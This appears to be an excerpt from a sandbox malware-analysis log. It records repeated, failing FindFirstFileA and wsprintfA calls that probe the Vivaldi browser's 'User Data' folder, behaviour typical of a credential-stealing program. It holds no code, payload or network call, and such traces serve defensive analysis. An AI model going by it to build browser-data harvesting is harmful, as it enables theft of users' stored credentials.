[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.782] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.782] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.783] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.783] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.784] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.784] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.785] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
